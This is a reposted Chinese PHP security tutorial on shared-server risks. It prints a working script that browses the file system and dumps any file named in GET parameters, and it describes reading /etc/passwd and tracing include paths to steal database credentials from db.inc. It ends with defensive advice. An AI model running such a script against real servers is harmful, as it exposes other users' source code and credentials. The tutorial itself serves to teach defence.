PHP安全编程:主机文件目录浏览(转)
除了能在共享服务器上读取任意文件之外,攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下,此类脚本一般用于找到你的源文件的所在位置。请看下例:
01 |
<?php |
02 |
03 |
if (isset( $_GET [ 'dir' ])) |
04 |
{ |
05 |
ls( $_GET [ 'dir' ]); |
06 |
} |
07 |
elseif (isset( $_GET [ 'file' ])) |
08 |
{ |
09 |
cat( $_GET [ 'file' ]); |
10 |
} |
11 |
else |
12 |
{ |
13 |
ls( '/' ); |
14 |
} |
15 |
16 |
function cat( $file ) |
17 |
{ |
18 |
echo htmlentities( file_get_contents ( $file ), ENT_QUOTES, 'UTF-8' )); |
19 |
} |
20 |
21 |
function ls( $dir ) |
22 |
{ |
23 |
$handle = dir( $dir ); |
24 |
25 |
while ( $filename = $handle ->read()) |
26 |
{ |
27 |
$size = filesize ( "$dir$filename" ); |
28 |
29 |
if ( is_dir ( "$dir$filename" )) |
30 |
{ |
31 |
$type = 'dir' ; |
32 |
$filename .= '/' ; |
33 |
} |
34 |
else |
35 |
{ |
36 |
$type = 'file' ; |
37 |
} |
38 |
39 |
if ( is_readable ( "$dir$filename" )) |
40 |
{ |
41 |
$line = str_pad ( $size , 15); |
42 |
$line .= "<a href=\"{$_SERVER['PHP_SELF']}" ; |
43 |
$line .= "?$type=$dir$filename\">$filename</a>" ; |
44 |
} |
45 |
else |
46 |
{ |
47 |
$line = str_pad ( $size , 15); |
48 |
$line .= $filename ; |
49 |
} |
50 |
51 |
echo "$line\n" ; |
52 |
} |
53 |
54 |
$handle ->close(); |
55 |
} |
56 |
57 |
?> |
攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单;可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如,考虑一下下面的脚本文件/home/victim/public_html/admin.php:
1 |
<?php |
2 |
3 |
include '../inc/db.inc' ; |
4 |
5 |
/* ... */ |
6 |
7 |
?> |
如果攻击者设法显示了该文件的源码,就可以发现db.inc的所在位置,同时他可以使用readfile()函数来使其内容暴露,取得了数据库的访问权限。这样,在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。
这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。